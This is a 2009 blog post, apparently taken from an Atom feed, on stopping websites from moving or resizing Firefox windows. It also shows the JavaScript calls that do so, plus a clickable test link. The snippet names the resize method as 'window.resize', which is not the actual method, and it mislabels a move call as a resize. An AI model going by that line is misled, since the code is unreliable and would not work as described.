&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Now, one of the most obvious tweaks you can apply to your Firefox installation is removing the annoyance of letting websites resize the window at their will. Despite of the more sophisticated pop-up blocker that comes in most recent versions of the browser, many websites still do away with popping those up and in many cases resizing either your main window or maximizing the pop-up window to get your full attention (just before you hit the X button).&lt;/p&gt;&lt;p style="text-align: justify;"&gt;You won’t even need an add-on to do this.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Go to Tools &amp;gt; Options&lt;/li&gt;
&lt;li&gt;Click on the Content tab&lt;/li&gt;
&lt;li&gt;Next to where it says "Enable Javascript", click on Advanced&lt;/li&gt;
&lt;li&gt;Uncheck the option "Move or resize existing windows"&lt;/li&gt;
&lt;li&gt;It is also a good idea uncheck the option "Raise or lower windows"&lt;/li&gt;
&lt;/ol&gt;&lt;p style="text-align: justify;"&gt;Click on the OK button twice to save the changes, and then you’re done. This will disallow any website to adjust the size of your browser window. It’s a great way to make sure your browsing experience stays yours.&lt;/p&gt;&lt;br /&gt;
&lt;b&gt;How to reproduce this annoying feature ?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;p style="text-align: justify;"&gt;A simple way to do it is using JavaScript:&lt;br /&gt;
&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;
&lt;span style="color: rgb(0, 102, 0);"&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify; padding-left: 40px;"&gt;The screen width, height can be obtained from: &lt;b&gt;screen.width&lt;/b&gt; and &lt;b&gt;screen.height&lt;/b&gt;&lt;br /&gt;
&lt;/p&gt;&lt;p style="text-align: justify; padding-left: 40px;"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;var w = screen.width;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: rgb(0, 102, 0);"&gt;var h = screen.height;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify; padding-left: 40px;"&gt;To move a browser window to a specific location on the users screen using JS:&lt;br /&gt;
&lt;/p&gt;&lt;p style="text-align: justify; padding-left: 40px;"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;window.moveTo(0, h - 100);&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify; padding-left: 40px;"&gt;To resize the browser window: &lt;b&gt;window.resize(width, height);&lt;/b&gt;&lt;/p&gt;&lt;p style="text-align: justify; padding-left: 40px;"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;window.moveTo(w/2, h/2);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p style="text-align: justify;"&gt;This code is usually written in the HTML page within the tag &amp;lt;body&amp;gt;. If you want to test if you have this annoying feature enabled click &lt;a href="javascript:void(window.resizeTo(100,50));void(window.moveTo(0,screen.height-100))" rel="nofollow"&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-7667386723206876493?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/CjnfYHO2-7qcnP5KXORfO9W36GM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CjnfYHO2-7qcnP5KXORfO9W36GM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/CjnfYHO2-7qcnP5KXORfO9W36GM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CjnfYHO2-7qcnP5KXORfO9W36GM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/7667386723206876493/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=7667386723206876493" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/7667386723206876493?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/7667386723206876493?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/XKDJY7XhO0E/prevent-websites-from-resizing-firefoxs.html" title="Prevent websites from resizing Firefox's browser window" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.think-techie.com/2009/08/prevent-websites-from-resizing-firefoxs.html</feedburner:origLink></entry></feed>

